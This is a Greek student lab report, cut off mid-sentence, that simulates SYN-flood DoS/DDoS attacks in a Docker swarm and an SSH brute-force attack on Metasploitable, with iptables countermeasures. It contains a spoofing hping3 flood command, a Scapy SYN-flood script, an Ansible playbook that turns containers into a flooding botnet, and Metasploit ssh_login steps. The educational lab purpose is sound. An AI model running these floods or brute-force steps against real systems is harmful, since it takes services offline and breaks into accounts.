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1. Υλοποίηση συστήματος για την προσομοίωση DoS/DDoS Attack 

 
1.0 Εισαγωγή 

 
 Στην πρώτη άσκηση της εργασίας θα γίνει προσομοίωση ενός τύπου επίθεσης Denial-of-

Service σε ένα μέλος ενός σμήνους από Docker containers, από άλλο μέλος του ίδιου σμήνους, 

καθώς και ενός τύπου επίθεσης DDoS, από όλα τα μέλη του σμήνους. 

 Ως επίθεση DoS προσδιορίζεται «η αποτροπή εγκεκριμένης πρόσβασης σε πόρους ή η 

καθυστέρηση χρονικά κρίσιμων λειτουργιών»1. Δηλαδή, μέσω της επίθεσης, ένας κακόβουλος 

χρήστης προσπαθεί να αποκλείσει σε άλλους, νόμιμους χρήστες, την πρόσβαση σε πόρους και 

υπηρεσίες, είτε απόλυτα είτε σε επιθυμητό χρόνο. Οι επιθέσεις Distributed DoS αποτελούν, 

απλώς, μία διαφορετική «τεχνική που χρησιμοποιεί πολυάριθμους χρήστες για να εκτελέσει 

της επίθεση»2. Με αυτή την παραλλαγή της DoS επίθεσης, ο κακόβουλος χρήστης επιτυγχάνει 

σημαντικότερα αποτελέσματα σε μικρότερο χρόνο. 

 Οι επιθέσεις τύπου DoS, και ακόμα περισσότερο οι DDoS, συμβαίνουν με μεγάλη και 

συνεχώς αυξανόμενη συχνότητα. Σύμφωνα με αναφορές της CISCO3, το έτος 2018 ο συνολικός 

αριθμός πραγματοποιημένων επιθέσεων DDoS έφτασε τις 7.9 εκ. και αναμένεται να αυξηθεί 

ως τις 15.4 εκ. ετησίως, μέχρι το έτος 2023. Στόχοι των επιθέσεων έχουν υπάρξει από μικρές 

επιχειρήσεις και ιστοσελίδες μέχρι και τεχνολογικούς κολοσσούς, όπως η Google το 2017 και οι 

Amazon Web Services το 2020.  

 Συνεπώς, κρίνεται απαραίτητη η διαφύλαξη της διαθεσιμότητας των συστημάτων από 

τέτοιου είδους επιθέσεις, καθώς και η συνεχής ενημέρωση για τις μεθόδους με τις οποίες αυτές 

διεξάγονται. Στη συνέχεια της άσκησης, παρουσιάζονται οι επιθέσεις DoS και DDoS με SYN 

flooding ενώ, στη συνέχεια, λαμβάνονται τα απαραίτητα αντίμετρα με iptables. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  

                                                           
1 NIST Glossary, https://csrc.nist.gov/glossary/term/DoS, NIST SP 800-12 Rev.1 
2 NIST Glossary, https://csrc.nist.gov/glossary/term/DDoS  
3 CISCO Annual Internet Report(2018-2023) White Paper, https://www.cisco.com/c/en/us/solutions/collateral/executive-
perspectives/annual-internet-report/white-paper-c11-741490.html  

https://csrc.nist.gov/glossary/term/DoS
https://csrc.nist.gov/glossary/term/DDoS
https://www.cisco.com/c/en/us/solutions/collateral/executive-perspectives/annual-internet-report/white-paper-c11-741490.html
https://www.cisco.com/c/en/us/solutions/collateral/executive-perspectives/annual-internet-report/white-paper-c11-741490.html


 1.1 Το σύστημα διεξαγωγής των επιθέσεων 

 

  Για τις ανάγκες τις άσκησης, υλοποιήθηκε ένα σμήνος από Docker Engines. Οι Engines

 παρομοιάζουν τερματικά, που είτε δέχονται είτε πραγματοποιούν την επίθεση, με λειτουργικό 

 Ubuntu 18.04.5. Βρίσκονται σε ένα κοινό υποδίκτυο, με διεύθυνση δικτύου 172.19.0.0/16. 

  Σύμφωνα με το documentation του Docker4, σε ένα σμήνος τα Engines που συμμετέχουν 

 τρέχουν σε λειτουργία swarm5 και φέρουν έναν από τους δύο ρόλους, manager ή worker. Στην 

 Εικόνα 1 παρουσιάζεται η αρχιτεκτονική που ακολουθεί ένα σμήνος, με τους κόμβους να είναι 

 Engines τύπου manager ή τύπου worker. 

 

Εικόνα 1 Πηγή:https://docs.docker.com/engine/swarm/how-swarm-mode-works/nodes/ 

  Στο σμήνος που δημιουργήθηκε για την προσομοίωση των επιθέσεων DoS/DDoS βρίσκεται ένα 

 Manager Engine, με διεύθυνση 172.19.0.2, όπως φαίνεται στην Εικόνα 2, και 15 Worker Engines. Οι 

 επιθέσεις, καθώς και η διαχείριση του δικτύου του σμήνους, διεξάγονται μέσω του Manager. 

 

Εικόνα 2 

   

 

                                                           
4 https://docs.docker.com/engine/swarm/how-swarm-mode-works/nodes/  
5 https://docs.docker.com/engine/swarm/  

https://docs.docker.com/engine/swarm/how-swarm-mode-works/nodes/
https://docs.docker.com/engine/swarm/


  To δίκτυο του σμήνους, 172.19.0.0/16, ερευνήθηκε με το εργαλείο Νmap. Το Νmap6 είναι 

 ένα scanner δικτύου ανοικτού κώδικα με δυνατότητες σάρωσης δικτύων, αλλά και μεμονωμένων 

 χρηστών. Παρέχει πολυάριθμες επιλογές για την εύρεση των hosts και των σχετικών με αυτούς 

 λεπτομερειών, όπως το λειτουργικό σύστημα που χρησιμοποιούν, τις υπηρεσίες που τρέχουν και 

 τις port μέσω  των οποίων επικοινωνούν με το υπόλοιπο δίκτυο. 

  Με την εντολή nmap –top-ports 100 172.19.0.0/16 σαρώθηκαν οι 100 δημοφιλέστερες port 

 σε κάθε host που είναι ενεργός στο δίκτυο. Από τα αποτελέσματα βρέθηκε ένας host (Εικόνα 3), με 

 διεύθυνση IP 172.19.0.5, ο οποίος προσέφερε μία υπηρεσία http. Για να λειτουργήσει η 

 υπηρεσία απαιτεί η port 80 να είναι ανοικτή σε συνδέσεις του δικτύου. Λόγω της αναγκαιότητας 

 αυτής, οι ιστοσελίδες αποτελούν συχνούς στόχους των επιθέσεων DoS/DDoS.  

  Βάση των δεδομένων που συγκεντρώθηκαν από την έρευνα του δικτύου, ο host 

 project_worker_13.project_net, με διεύθυνση IP 172.19.0.5, θα είναι ο στόχος της επίθεσης της 

 άσκησης. 

 

Εικόνα 3 

    

 

 

 

 

 

                                                           
6 Επίσημη ιστοσελίδα του Nmap, https://nmap.org/  
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1.2  Η επίθεση DoS 

 

  Όπως αναφέρθηκε, σκοπός της άσκησης είναι η πραγματοποίηση μίας επίθεσης DoS. Η 

 επίθεση θα διεξαχθεί από την Manager Engine του σμήνους προς τη Worker Engine με διεύθυνση 

 172.19.0.5, όπου βρέθηκε ανοικτή η port 80.  

  Το πρώτο εργαλείο που χρησιμοποιήθηκε για την υλοποίηση της επίθεσης ήταν το hping3.

 Το hping7 λειτουργεί κατά παρόμοιο τρόπο με το ping του Unix, ωστόσο παρέχει περισσότερες 

 δυνατότητες, πέραν της αποστολής απλών ICMP πακέτων, και υποστήριξη για τα πρωτόκολλα TCP, 

 UDP, ICMP και RAW-IP. Η βασική χρήση του αφορά την ανάλυση ασφάλειας σε δίκτυα αν και, πλέον, 

 χρησιμοποιείται ευρέως για επιθετικούς σκοπούς. Στην προσομοίωση της επίθεσης DoS, 

 χρησιμοποιήθηκε το hping3 για την αποστολή πακέτων SYN. 

  Τα πακέτα SYN αποτελούν το πρώτο μέρος του three-way handshake του TCP. Η εγκαθίδρυση 

 ενός καναλιού μεταξύ δύο host, με το TCP, απαιτεί την ολοκλήρωση της διαδικασίας three-way 

 handshake. Κατά τη διαδικασία, ο host/client που επιθυμεί να επικοινωνήσει με τον host/server 

 στέλνει ένα, πρώτο, πακέτο SYN, το οποίο αντιπροσωπεύει το αίτημα για τη μεταξύ τους 

 επικοινωνία. Ο host/server στη συνέχεια απαντά στο host/client με ένα πακέτο SYN-ACK, 

 δηλώνοντας πως γνωρίζει για το αίτημα επικοινωνίας και αναμένει απάντηση από το δεύτερο. Το 

 τελευταίο βήμα είναι η αποστολή ενός πακέτου ACK εκ μέρους του host/client προς το host/server 

 και η εγκαθίδρυση της σύνδεσης μεταξύ τους. 

  

Εικόνα 4 Πηγή:https://www.researchgate.net/figure/TCP-three-way-handshake_fig3_321698222 

  Η επίθεση τύπου SYN flood χρησιμοποιεί τη διαδικασία three-way handshake με κακόβουλο 

 τρόπο. Συγκεκριμένα, ο κακόβουλος host/client στέλνει ασταμάτητα πακέτα SYN προς το στόχο 

 host/server. Ο host/server είναι υποχρεωμένος να αξιοποιήσει τους πόρους του ώστε να απαντήσει 

 στο κάθε πακέτο SYN που λαμβάνει. Λόγω της μικρής συχνότητας και του τεράστιου αριθμού των 

                                                           
7 Πληροφορίες σχετικά με το hping, https://tools.kali.org/information-gathering/hping3  

https://tools.kali.org/information-gathering/hping3


 πακέτων, ο host/server «κατακλύζεται» και αδυνατεί, πλέον, να εξυπηρετήσει κάθε αίτημα για 

 εγκαθίδρυση επικοινωνίας, τόσο στον κακόβουλο χρήστη όσο και σε κάθε άλλο νόμιμο. 

 

 1.2.1 Διεξαγωγή της επίθεσης 

  Η επίθεση πραγματοποιήθηκε με την εντολή  

 hping3 -V -c 20000 -d 120 -S -p 80 –flood –rand-source 172.19.0.5 

 όπου, 

 -c 20000, ο αριθμός των πακέτων 

 -d 120, το μέγεθος των πακέτων 

 -S, ο τύπος SYN των πακέτων 

 -p 80, η port του στόχου στην οποία θα αποσταλούν τα πακέτα 

 --flood, η επιλογή για τον κατακλυσμό με πακέτα 

 --rand-source, η επιλογή για την παρουσίαση της αποστολής πακέτων από τυχαίες πηγές 

 

 1.2.2 Εντοπισμός της επίθεσης 

  Ο host που έγινε στόχος της επίθεσης δύναται, και ακόμα περισσότερο επιβάλλεται, να 

 εντοπίσει τα ίχνη της και να αμυνθεί σε αυτή. Για τον εντοπισμό της μπορούν να αξιοποιηθούν δύο 

 εργαλεία, τα netstat και tcpdump. 

  Το netstat8 εξετάζει τις συνδέσεις TCP και παρουσιάζει δεδομένα και στατιστικά σχετικά με 

 αυτές. Σύμφωνα με το αντίστοιχο εγχειρίδιο9, μπορεί να δώσει πληροφορίες σχετικές με τις ανοικτές 

 port του συστήματος, στο οποίο τρέχει, τις διεπαφές δικτύου, τους πίνακες δρομολόγησης κ.α. Στο 

 παράδειγμα, χρησιμοποιήθηκε για τον έλεγχο της κίνησης της port 80. 

 

Εικόνα 5 

  Όπως φαίνεται στην Εικόνα 5, το netstat εντόπισε πληθώρα πακέτων SYN, τα οποία 

 προέρχονταν από τυχαίες πηγές. Τα πακέτα εμφανίζονταν σε πολύ σύντομο χρονικό διάστημα και 

 ασταμάτητα. Σε ένα μικρό server, που δεν έχει τη δυνατότητα και τους πόρους να εξυπηρετήσει 

 τόσα αιτήματα, τα δεδομένα που παρουσίασε το netstat αποτελούν ένδειξη επίθεσης. 

                                                           
8 Wikipedia, Netstat, https://en.wikipedia.org/wiki/Netstat  
9 netstat- Linux manual page, https://man7.org/linux/man-pages/man8/netstat.8.html  
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  Το εργαλείο tcpdump10 παρέχει ακόμα περισσότερες δυνατότητες για την ανάλυση των 

 πακέτων που λαμβάνει το σύστημα. Ανάλογα με τις επιλογές που θα τρέξει, επιστρέφει λεπτομερή 

 περιγραφή των πακέτων που εντόπισε, όπως πληροφορίες για το μέγεθος και το περιεχόμενο τους. 

 Επιπλέον, με το που ολοκληρώσει την καταγραφή των πακέτων, το tcpdump θα παρουσιάσει το 

 πλήθος των πακέτων που καταγράφηκαν, το πλήθος των πακέτων που εντοπίστηκαν βάση του 

 φίλτρου που ορίστηκε και το πλήθος των πακέτων που απορρίφθηκαν. 

  Από τη διερεύνηση που προηγήθηκε, με το netstat, γνωρίζουμε πως το σύστημα φαίνεται να 

 κατακλύζεται από πακέτα SYN. Για επαλήθευση των αποτελεσμάτων, και περαιτέρω ανάλυση τους, 

 αξιοποιήθηκε το tcpdump ως 

 tcpdump ‘tcp[tcpflags] == tcp-syn’ 

 όπου, θέτοντας ως tcpflag το tcp-syn, αναμένουμε να λάβουμε μία καταμέτρηση για τα πακέτα SYN 

 που φτάνουν στο host. Όπως φαίνεται στην Εικόνα 6, σε πολύ σύντομο χρονικό διάστημα, το 

 tcpdump κατέγραψε 10202 τέτοια πακέτα. 

 

Εικόνα 6 

  Έχοντας διαπιστώσει πως το σύστημα δέχεται επίθεση DoS, τύπου SYN flood, το μόνο που 

 μένει είναι η αντιμετώπιση της επίθεσης. 

 

 

 1.2.3 Αντιμετώπιση της επίθεσης 

 

  Έχοντας εντοπίσει και συγκεντρώσει αρκετές πληροφορίες για την επίθεση, είναι πλέον 

 εφικτό να σχεδιαστούν τα αντίμετρα της. Η εφαρμογή των αντιμέτρων απέναντι σε επιθέσεις DoS 

 έγινε με τη βοήθεια του iptables11, του προγράμματος firewall για το Linux kernel. Με το iptables «ο 

 διαχειριστής του συστήματος προσδιορίζει πίνακες που περιέχουν αλυσίδες από κανόνες για τη 

                                                           
10 Επίσημη ιστοσελίδα εργαλείου tcpdump, https://www.tcpdump.org/  
11 Wikipedia, iptables, https://en.wikipedia.org/wiki/Iptables  

https://www.tcpdump.org/
https://en.wikipedia.org/wiki/Iptables


 μεταχείριση των πακέτων». Τα πακέτα που φθάνουν στο σύστημα ελέγχονται πρώτα από το 

 iptables, το οποίο προσδιορίζει, βάσει των κανόνων που έχουν οριστεί από το διαχειριστή του 

 συστήματος, ποια αλυσίδα πρέπει να ακολουθήσει. Οι πέντε προκαθορισμένες αλυσίδες είναι οι 

 PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING, ενώ δίνεται η δυνατότητα στον χρήστη 

 να προσδιορίσει δικές του αλυσίδες με κανόνες. 

  Για την αντιμετώπιση της επίθεσης DoS προσδιορίστηκε η αλυσίδα sflood, στην οποία 

 αναμένεται να περάσουν όλα τα πακέτα που αποτελούν μέρος της επίθεσης. Η αλυσίδα 

 δημιουργήθηκε ως 

 Iptables –N sflood 

 όπου –Ν η επιλογή για τη δημιουργία νέας αλυσίδας. Για την αναγνώριση των πακέτων από το 

 iptables ορίστηκε ο κανόνας 

 iptables –A sflood –m limit --limit 1/s--limit-burst 2 –j ACCEPT 

 όπου, 

 -A sflood, ο κανόνας ανήκει στην αλυσίδα sflood 

 -m limit, χρησιμοποιείται το module limit 

 --limit 1/s, επιλογή του module limit, έλεγχος εάν τα πακέτα καταφθάνουν ανά ένα 

δευτερόλεπτο 

 --limit-burst 2, στο δεύτερο πακέτο που θα καταφθάσει μέσα στο limit που ορίστηκε 

ενεργοποιείται ο κανόνας 

 -j ACCEPT, το πακέτο γίνεται αποδεκτό στην αλυσίδα sflood 

  Αφότου αναγνωριστούν τα πακέτα και περάσουν στην αλυσίδα sflood, μένει να 

 απορριφθούν από το σύστημα. Για να γίνει αυτό ορίζεται ένας νέος κανόνας για τη μεταφορά των 

 πακέτων στον πίνακα DROP. 

 Iptables –A sflood –j DROP 

  Μόλις οριστούν η αλυσίδα και οι νέες κανόνες θα φανούν στους πίνακες του iptables. Με 

 την εντολή iptables –L παρουσιάζεται μία λίστα με τα ζητούμενα περιεχόμενα. 

 

Εικόνα 7 

 

  Όπως φαίνεται στην Εικόνα 7, στη λίστα περιλαμβάνεται η αλυσίδα sflood, για πρωτόκολλο 

 TCP, με πηγή τον διαχειριστή του συστήματος. Ανάμεσα στα flags των πακέτων που θα εξετάζει 



 βρίσκεται και το SYN, ο τύπος των πακέτων που είναι σημαντικό να ελέγχονται για άμυνα στις 

 επιθέσεις SYN flood. 

  Πλέον, εάν ο κακόβουλος χρήστης δοκιμάσει την επίθεση του, τα πακέτα που στέλνει θα 

 απορρίπτονται από το σύστημα. Ο διαχειριστής του συστήματος μπορεί να ελέγξει το κατά πόσο 

 είναι επιτυχημένα τα αντίμετρα που όρισε με την εντολή iptables –nvL. Όπως φαίνεται στην Εικόνα 

 8, θα εμφανιστεί η ίδια λίστα με περισσότερες λεπτομέρειες, στις οποίες θα αναφέρεται και ο 

 αριθμός των πακέτων που πέρασαν στην αλυσίδα sflood και το πόσα από αυτά απορρίφθηκαν μέσω 

 του πίνακα DROP. 

 

Εικόνα 8 

 

 1.2.4 Επιπλέον: Εργαλείο για την υλοποίηση της επίθεσης DoS με Python/Scapy 

 

  Όπως αναφέρθηκε, το εργαλείο hping3 χρησιμοποιείται ευρέως από κακόβουλους χρήστες 

 για την ενορχήστρωση επιθέσεων DoS/DDoS. Ωστόσο, υπάρχει η δυνατότητα δημιουργίας εξίσου 

 ικανών εργαλείων με τη βοήθεια της γλώσσας Python και του προγράμματος Scapy. 

  Το Scapy12 είναι ένα εξαιρετικά ισχυρό στοιχείο που χρησιμοποιείται σε συνδυασμό με την 

 Python για την ανάπτυξη προγραμμάτων διαχείρισης δικτύων. Με την καλή αξιοποίηση του, παρέχει 

 στον διαχειριστή/προγραμματιστή τα απαραίτητα εργαλεία για την εκτέλεση «έργων όπως σάρωση, 

 tracerouting, probing, αξιολόγηση μονάδων, επιθέσεων και ανακάλυψης δικτύων».  

  Για την άσκηση, χρησιμοποίησα το Scapy ώστε να σχεδιάσω ένα πρόγραμμα, σε Python, το 

 οποίο μπορεί να εκτελέσει μία επίθεση DoS, εξίσου ικανοποιητικά με το εργαλείο hping3. Ο κώδικας 

 του προγράμματος φαίνεται στο πλαίσιο που ακολουθεί, ενώ βρίσκεται και στο φάκελο tools με το 

 όνομα dos.py.  

 

 

                                                           
12 Scapy documentation, https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy  

https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  Το πρόγραμμα τρέχει ως 

 python –t <target_ip_address> -p <target_port> 

 όπου, με το στοιχείο parser και τη συνάρτηση parser_args() διαβάζει τα ορίσματα που δόθηκαν από 

 τη γραμμή εντολών, τα αποθηκεύει στις μεταβλητές target_ip και target_port και καλεί τη 

 συνάρτηση SYN_flood(). Η συνάρτηση δημιουργεί ένα πακέτο TCP/IP. Το IP θα έχει τυχαία 

 διεύθυνση προέλευσης και διεύθυνση προορισμού αυτή που θα έχει οριστεί από τον χρήστη και, το 

 πακέτο TCP θα έχει τυχαία port προέλευσης και port προορισμού αυτή που θα έχει, εξίσου, οριστεί. 

 Τέλος, στέλνει το πακέτο με τη συνάρτηση send() και, με την επιλογή loop=1, θα εξακολουθεί να 

 επαναλαμβάνει την αποστολή του έως ότου ο χρήστης διακόψει το πρόγραμμα.  

  

  

 

 

 

from scapy.all import * 

import optparse 

 

def SYN_flood(): 

 ip = IP(src=RandIP(target_ip+"/24"),dst=target_ip) 

 tcp = TCP(sport=RandShort(), dport=int(target_port)) 

 packet = ip / tcp 

 send(packet, loop=1, verbose=0) 

 

#parsing user input as command line args 

parser = optparse.OptionParser() 

 

parser.add_option("-t", "--target", dest="target_ip", help="set 

target's ip") 

parser.add_option("-p", "--port", dest="target_port", help="set 

target's port") 

 

(options, arguments) = parser.parse_args() 

target_ip = options.target_ip 

target_port = options.target_port 

SYN_flood() 



1.3  Η επίθεση DDoS 

 

  Οι επιθέσεις Distributed-DoS δεν είναι άλλο από επιθέσεις DoS που διεξάγονται από 

 πολυάριθμες πηγές. Η λογική τους παραμένει ίδια, όπως και τα είδη τους. Κάθε πηγή στέλνει 

 ασταμάτητα και με μικρή συχνότητα πακέτα προς τον ίδιο στόχο. Προκειμένου να επιτύχει την 

 επίθεση, ένας κακόβουλος χρήστης χρειάζεται να καταβάλει μεγαλύτερη προσπάθεια ώστε να 

 καταλάβει τους host που θα αποτελέσουν πηγές, «εμφυτεύοντας λογισμικό zombie»13, να τους 

 ενώσει σε ένα botnet14, ένα δίκτυο από διασυνδεδεμένες μηχανές που τελούν υπό τις οδηγίες του 

 χρήστη, και να ενορχηστρώσει την επίθεση. 

  Ωστόσο, η επίθεση DDoS είναι, όχι απλώς αποτελεσματικότερη αλλά, η πλέον 

 αποτελεσματική επίθεση για την παραβίαση της διαθεσιμότητας του στόχου. Στην πραγματικότητα, 

 κανένας στόχος δεν είναι πλέον επιρρεπής σε μία επίθεση DoS, αφού η υπολογιστική ισχύς των 

 υπολογιστών έχει αυξηθεί σημαντικά. 

  Στην προσομοίωση της άσκησης παρομοιάστηκε ένα botnet χρησιμοποιώντας τις υπόλοιπες 

 Worker Engines του σμήνους. Η ενορχήστρωση τους έγινε με το εργαλείο αυτοματισμού ansible15. 

 Με το εργαλείο ansible ένας διαχειριστής μπορεί να χειριστεί αυτοματοποιημένα ένα σμήνος από 

 Engines, κωδικοποιώντας τις εντολές σε γλώσσα κοντινή στην ανθρώπινη κατανόηση. Η διανομή 

 του κώδικα γίνεται μέσω OpenSSH, μειώνοντας έτσι το ρίσκο ασφάλειας. 

  Προκειμένου να συντονίσει ο διαχειριστής το σμήνος, το ansible παρέχει δύο επιλογές. Τις 

 εντολές ad-hoc, όπου μέσω απλών εντολών μπορεί να κατευθύνει τις Engines στην εκτέλεση 

 συγκεκριμένων εργασιών, και τη σύνθεση ενός playbook, ένα αρχείο yaml συμβολικής γλώσσας 

 όπου συγκεντρώνονται όλες οι εργασίες που επιθυμεί να εκτελέσουν οι hosts. Σε κάθε περίπτωση,

 προτού αποστείλει τις οδηγίες για τις εργασίες, ο διαχειριστής χρειάζεται να τροποποιήσει τα 

 αρχεία ansible.cfg και hosts με κατάλληλο τρόπο. Για την προσομοίωση, στο αρχείο ansible.cfg 

 ενεργοποιήθηκε η επιλογή host_key_checking = False, ώστε να μην είναι απαραίτητος ο 

 έλεγχος κλειδιού κατά την αποστολή των δεδομένων με OpenSSH, ενώ στο αρχείο hosts προστέθηκε 

 [containers] 

 172.19.0.3 

 172.19.0.4 

 172.19.0.6 

 172.19.0.7 

 172.19.0.8 

 172.19.0.9 

 172.19.0.10 

 172.19.0.11 

 172.19.0.12 

 172.19.0.13 

                                                           
13 Stallings, 2011, 692 
14 Wikipedia, botnet, https://en.wikipedia.org/wiki/Botnet  
15 Ansible Documentation, https://docs.ansible.com/ansible/latest/index.html  

https://en.wikipedia.org/wiki/Botnet
https://docs.ansible.com/ansible/latest/index.html


 172.19.0.14 

 

    [containers:vars] 

 

 ansible_user=docker 

 ansible_password=docker 

 

 όπου, ως ομάδα [containers] ορίστηκαν οι υπόλοιπες Worker Engines τους σμήνους, πέραν αυτής 

 που δέχεται την επίθεση, και ως μεταβλητές ansible_user και ansible_password το username για τη 

 μεταφορά OpenSSH και το password που το επαληθεύει (σε κάθε Engine η σύνδεση με SSH γίνεται 

 ως docker@<IP> με password το docker). 

 Τα αρχεία ansible.cfg και hosts βρίσκονται στο φάκελο ansible μαζί με το playbook (ddos.yml) που 

 δημιουργήθηκε για τη διεξαγωγή της επίθεσης. Ο κώδικας του φαίνεται, επίσης, στο πλαίσιο που 

 ακολουθεί. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--- 

- name: install hping3 to hosts 

  hosts: containers 

  remote_user: docker 

  become: yes 

 

  tasks: 

  - name: apt-get update 

    apt: 

         update_cache: yes 

 

  - name: install hping3 

    apt: 

         name: hping3 

         state: latest 

 

  - name: run dos attack from each container 

    command: hping3 -V -c 20000 -d 120 -S -p 80 –flood –rand-source 172.19.0.5 



  Αρχικά, προσδιορίζονται ως hosts, στους οποίους διανέμονται οι οδηγίες του playbook, 

 αυτοί των οποίων οι διευθύνσεις IP βρίσκονται στην ομάδα containers. Ο απομακρυσμένος χρήστης 

 έχει username το docker και ζητείται να έχει αναβαθμισμένα δικαιώματα σε root. Στη συνέχεια, 

 ζητείτε η εκτέλεση τριών εργασιών, η ενημέρωση του συστήματος, η εγκατάσταση του εργαλείου 

 hping3 και, τέλος, η εκτέλεση της ίδιας εντολής που πραγματοποίησε την επίθεση DoS 

 προηγουμένως. 

  Τόσο τα αποτελέσματα της επίθεσης όσο και η αντιμετώπισης της παρέμειναν τα ίδια, πέραν 

 της ακόμα μικρότερης συχνότητας εμφάνισης των πακέτων και του μεγαλύτερου πλήθους τους. 

 

 

2. Υλοποίηση συστήματος για την προσομοίωση SSH Brute Force attack 

 
2.0 Εισαγωγή 

 
 Το Secure Shell16, εν συντομία SSH, αποτελεί ένα ασφαλές πρωτόκολλο για τη δικτυακή 

επικοινωνία μεταξύ δύο μελών του ίδιου δικτύου. Μέσω του SSH, οι hosts μπορούν να 

εγκαθιδρύσουν ένα ασφαλές, κρυπτογραφημένο κανάλι ακολουθώντας την αρχιτεκτονική client-

server. Δηλαδή, ο host που επιθυμεί να επικοινωνήσει παίρνει τον ρόλο του client και στέλνει το 

αίτημα του στον host με τον οποίο επιθυμεί να επικοινωνήσει, ο οποίος λαμβάνει το ρόλο του 

server. 

 Προκειμένου να ολοκληρωθεί η διαδικασία, ο client χρειάζεται να πιστοποιήσει την 

εγκυρότητα του, τις θεμιτές του δηλαδή προθέσεις και την αξιοπιστία του. Μέσω του καναλιού, ο 

client θα έχει τη δυνατότητα να αποκτήσει πρόσβαση σε πόρους του συστήματος του server, 

συνεπώς είναι κρίσιμη η αναγκαιότητα πιστοποίησης του χρήστη και διασφάλισης του 

πρωτοκόλλου. Ένας κακόβουλος χρήστης, από τη στιγμή που θα αποκτούσε πρόσβαση στους 

πόρους του συστήματος, θα μπορούσε να αναβαθμίσει τα δικαιώματα του σε root και έπειτα να 

υποκλέψει δεδομένα, να αξιοποιήσει το σύστημα ως μέλος ενός botnet για την πραγματοποίηση 

επιθέσεων DDoS ή για crypto mining, μέχρι και να καταστρέψει ολοκληρωτικά το σύστημα. 

 Η πιστοποίηση του client μπορεί να γίνει με δύο τρόπους, με τη χρήση ενός password που 

έχει ορίσει ο server, πιθανότατα του ίδιου password που θα αναβάθμιζε και τα δικαιώματα του σε 

root, είτε με ένα ζευγάρι δημοσίου-ιδιωτικού κλειδιού προερχόμενο από τον αλγόριθμο RSA. Η 

δεύτερη μέθοδος θεωρείται ασφαλέστερη, αν και η υλοποίηση της είναι αρκετά πιο χρονοβόρα και 

κοστοβόρα. 

 Η πρώτη μέθοδος ωστόσο, λόγω της ευκολότερης υλοποίησης της, τείνει να αποτελεί 

προτίμηση των χρηστών, αν και λιγότερο ασφαλής. Η πιστοποίηση με ένα μη ασφαλές password 

αφήνει το σύστημα ευάλωτο σε επιθέσεις SSH brute force/dictionary, όπου κάποιος κακόβουλος 

χρήστης μπορεί να χρησιμοποιήσει τη συνηθισμένη επίθεση ωμής βίας με τη βοήθεια ενός 

αυτοσχέδιου λεξικού για να παραβιάσει το password και να εγκαθιδρύσει ένα κανάλι επικοινωνίας 

με τον host/server. 

 

 

 

 

 

                                                           
16 Wikipedia, SSH, https://en.wikipedia.org/wiki/SSH_(Secure_Shell)  

https://en.wikipedia.org/wiki/SSH_(Secure_Shell)


 

2.1.1 Διεξαγωγή της επίθεσης με το εργαλείο Metasploit 

 

   Η πρώτη δοκιμή της επίθεσης θα γίνει με τη βοήθεια του Metasploit17 framework. Πρόκειται 

 για ένα εργαλείου ανοικτού λογισμικού, με ευρεία διάδοση και πολλαπλή λειτουργικότητα. 

 Περιλαμβάνει «anti-forensic και evasion εργαλεία»18, τα οποία μπορούν να εκτελεστούν χάρη στα 

 592 προγράμματα, payloads, που προσφέρει. Διανέμεται από το Rapid7 και έρχεται 

 προεγκατεστημένο στη διανομή Kali Linux19.  

  

 Περιγραφή του συστήματος επίθεσης 

  Η δοκιμή της επίθεσης έγινε από μία εικονική μηχανή με λογισμικό Kali Linux προς μία 

 εικονική μηχανή, εντός του ίδιου δικτύου, τη Metasploitable20. Η Metasploitable είναι μία 

 μηχανή προ-σχεδιασμένη ώστε να είναι ευπαθής στις γνωστότερες επιθέσεις. Σκοπός της ύπαρξης 

 της είναι η δοκιμή επιθέσεων και όχι η πραγματική της χρήση. Διανέμεται εξίσου από το Rapid7. 

  Με τη βοήθεια του Nmap, σαρώθηκε η μηχανή Metasploitable, αναζητώντας κάποια ανοικτή 

 port ανάμεσα στις 100 δημοφιλέστερες. 

 

Εικόνα 9 

  Επιβεβαιώνοντας τα όσα γνωρίζαμε για τη μηχανή, η Metasploitable έχει περισσότερες από 

 δέκα ανοικτές port, με διαφορετική υπηρεσία να τρέχει σε κάθε μία. Για την επίθεση της 

 άσκησης, απαραίτητη είναι μόνο η port 22, η οποία επιτρέπει την εγκαθίδρυση καναλιού 

 επικοινωνίας με το πρωτόκολλο SSH.  

  Υποθέτουμε πως δεν γνωρίζουμε τον κωδικό πρόσβασης για την εγκαθίδρυση του καναλιού 

 με τη Metasploitable. Από τη μηχανή Kali είναι εφικτό να βρεθεί ο κωδικός, εάν αυτός δεν είναι 

 ασφαλής, μέσω του Metasploit. Για να βρούμε ποιο payload θα χρησιμοποιήσουμε, μπορούμε να 

                                                           
17 Επίσημη ιστοσελίδα Metasploit, https://www.metasploit.com/  
18 Wikipedia, Metasploit, https://en.wikipedia.org/wiki/Metasploit_Project  
19 Επίσημη ιστοσελίδα Kali, https://www.kali.org/  
20 Πληροφορίες σχετικά με τη Metasploitable, https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/  

https://www.metasploit.com/
https://en.wikipedia.org/wiki/Metasploit_Project
https://www.kali.org/
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/


 τρέξουμε την εντολή search(ssh). Το Metasploit θα παρουσιάσει τα διαθέσιμα payloads, εάν 

 αυτά υπάρχουν. Για την επίθεση, χρησιμοποιήθηκε το payload ssh_login, με την εντολή  

 use scanner/ssh/ssh_login 

 Πριν τρέξει το payload, είναι απαραίτητο να προσδιοριστούν κάποιες επιλογές του. Με την εντολή 

 show options εμφανίζονται όλες οι διαθέσιμες επιλογές του payload, ενώ με την εντολή set 

 μπορεί να οριστεί το επιθυμητό περιεχόμενο τους. Στην Εικόνα 10, που ακολουθεί φαίνεται ο 

 τρόπος με τον οποίο αξιοποιήθηκε το πρόγραμμα ώστε να επιτύχει η επίθεση. 
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  Αρχικά, ρυθμίστηκε η επιλογή RHOST, με τη διεύθυνση IP της Metasploitable. Στη συνέχεια, 

 ρυθμίστηκε η επιλογή USERPASS_FILE, με το path ενός αρχείου key_file. Το αρχείο περιείχε 

 διάφορους συνδυασμούς από username και password. Τέλος, εκτελέστηκε το payload με την εντολή 

 run. Ως αποτέλεσμα, βρέθηκε πώς ο σωστός συνδυασμός, των username και password για την 

